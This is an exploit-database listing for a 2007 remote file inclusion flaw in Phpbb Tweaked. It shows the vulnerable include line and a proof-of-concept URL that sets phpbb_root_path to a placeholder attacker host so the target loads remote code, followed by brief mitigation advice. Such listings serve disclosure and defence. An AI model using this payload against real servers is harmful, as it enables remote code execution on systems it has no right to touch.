header-logo
Suggest Exploit
vendor:
Phpbb Tweaked
by:
xoron
7.5
CVSS
HIGH
Remote File Include
CWE
Product Name: Phpbb Tweaked
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:
2007

Phpbb Tweaked (phpbb_root_path) Remote File Include Exploit

This exploit allows an attacker to include a remote file in the phpbb_root_path parameter of the target script. This can lead to remote code execution.

Mitigation:

Update to the latest version of Phpbb Tweaked that has the vulnerability patched. Remove any unnecessary file inclusion functionality from the application.
Source

Exploit-DB raw data:

-----------------------------------------------

Phpbb Tweaked (phpbb_root_path) Remote File Include Exploit

-----------------------------------------------

Author: xoron

xoron.biz - xoron.info

-----------------------------------------------

Code:
include_once( $phpbb_root_path . './includes/functions_categories_hierarchy.' . $phpEx );

-----------------------------------------------

POC:

www.[target].com/[script_pat]/includes/functions.php?phpbb_root_path=http://evilscripts?

-----------------------------------------------

Exploit:

www.xoron.info/bugs/phpbbtweaked.txt

-----------------------------------------------

download: http://sourceforge.net/projects/phpbbtweaked/

-----------------------------------------------

Tesekkurler: pang0, chaos, can bjorn
Thanx: str0ke, kacper
 
-----------------------------------------------

xoron gider izi kalir, selametle.

kaybetmenin tiryakisi bir cocuk xoron.

Adimizi altin harflerle yazdik.

-----------------------------------------------

# milw0rm.com [2007-01-31]